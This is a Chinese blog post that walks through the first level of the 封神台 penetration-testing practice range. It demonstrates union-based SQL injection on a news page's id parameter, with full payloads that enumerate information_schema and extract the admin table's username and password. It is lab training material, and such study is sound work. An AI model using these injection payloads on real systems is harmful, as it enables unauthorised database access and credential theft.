封神台基础关，第一关

原创

李青莲123 于 2019-11-19 20:22:09 发布 1377 收藏 1

文章标签： sql注入 渗透测试练习

本文链接：https://blog.csdn.net/weixin_44106116/article/details/103149483

1.判断是否存在SQL注入

点击新闻，看到了地址栏变化，产生了id传参

分别输入，and 1=1 和，and 1=2 显示页面不同，所以，存在sql注入

2.查询字段数，好用联合查询

order by 2 有显示，order by 3 无显示，可知此条语句字段数为2

在之后输入 and 1=2 union select 1,2

注销掉前方的查询语句，查看回显点，
新闻内容中显示了数字2

根据回显点，可以查询，系统的内置函数

database(),user()，显示自己想要查询的信息等。

2.2附加知识点

MYSQL内置数据库

information_schema数据库:

是MYSQL数据库下的存放其他所有数据库内容信息的数据库。

tables表：存储所有数据库的表名等信息，

table_schema列：存储所有数据库的库名，

table_name列：存放MYSQL数据库中的所有表名

columns表：存放所有数据库的字段信息

table_name列:用来存放所有数据库里的所有表名

column_name列：存放所有数据库的字段/内容（值）

3.实现SQL注入查询想要信息

3.1查询当前数据库有什么表

因为查询表，

所以需要用到tables表下的字段， information_schema.tables，table_schema，table_name

在其后输入

and 1=2 union select 1,table_name from information_schema.tables where table_schema = database() limit 0,1

当前数据库下的第一张表，回显是admin

此表名，应该是登陆表

3.2查询登陆信息表有什么列

因为查询列，

所以需要用到columns表下的字段， information_schema.columns，table_name，column_name

and 1=2 union select 1,column_name from information_schema.columns where table_name= ‘admin’ limit 0,1

当前表下的第一个列，回显是id,第二个列是，username ,第三个列是，password

得到了表和列名，就可以开始查询值了

3.3查询登陆信息表的列里的值

and 1=2 union select 1,username from admin limit 0,1

得到第一个用户名为admin

and 1=2 union select 1,password from admin limit 0,1

得到第一个用户名密码为hellohack